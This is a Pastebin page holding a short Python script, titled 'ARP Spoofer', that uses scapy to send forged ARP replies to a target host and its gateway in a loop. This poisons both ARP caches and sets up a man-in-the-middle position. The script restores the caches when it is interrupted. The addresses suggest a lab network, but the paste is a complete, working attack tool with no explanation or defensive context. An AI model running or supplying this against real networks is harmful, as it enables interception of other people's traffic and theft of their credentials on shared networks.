Advertisement
parthosutradhor

ARP Spoofer

Apr 30th, 2020
646
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.48 KB | None | 0 0
  1. #!/user/bin/env python
  2.  
  3. import scapy.all as scapy
  4. import time
  5. import sys
  6.  
  7.  
  8. def get_mac_by_ip(ip):
  9.     arp_request = scapy.ARP(pdst=ip)
  10.     broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
  11.     arp_request_broadcast = broadcast/arp_request
  12.     answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
  13.     return answered_list[0][1].hwsrc
  14.  
  15.  
  16. def spoof(target_ip, gateway_ip):
  17.     target_mac = get_mac_by_ip(target_ip)
  18.     gateway_mac = get_mac_by_ip(gateway_ip)
  19.     packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
  20.     scapy.send(packet, verbose=False)
  21.     packet = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)
  22.     scapy.send(packet, verbose=False)
  23.  
  24.  
  25. def restore(target_ip, gateway_ip):
  26.     target_mac = get_mac_by_ip(target_ip)
  27.     gateway_mac = get_mac_by_ip(gateway_ip)
  28.     packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
  29.     scapy.send(packet, verbose=False, count=4)
  30.     packet = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac)
  31.     scapy.send(packet, verbose=False, count=4)
  32.  
  33.  
  34. target = "10.0.2.15"
  35. gateway = "10.0.2.1"
  36.  
  37. packet_count = 0
  38. try:
  39.     while True:
  40.         packet_count += 2
  41.         spoof(target, gateway)
  42.         print("\r[+] Packet sent: " + str(packet_count)),
  43.         sys.stdout.flush()
  44.         time.sleep(2)
  45. except KeyboardInterrupt:
  46.     print("\n[-] Quitting ...")
  47.     restore(target, gateway)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement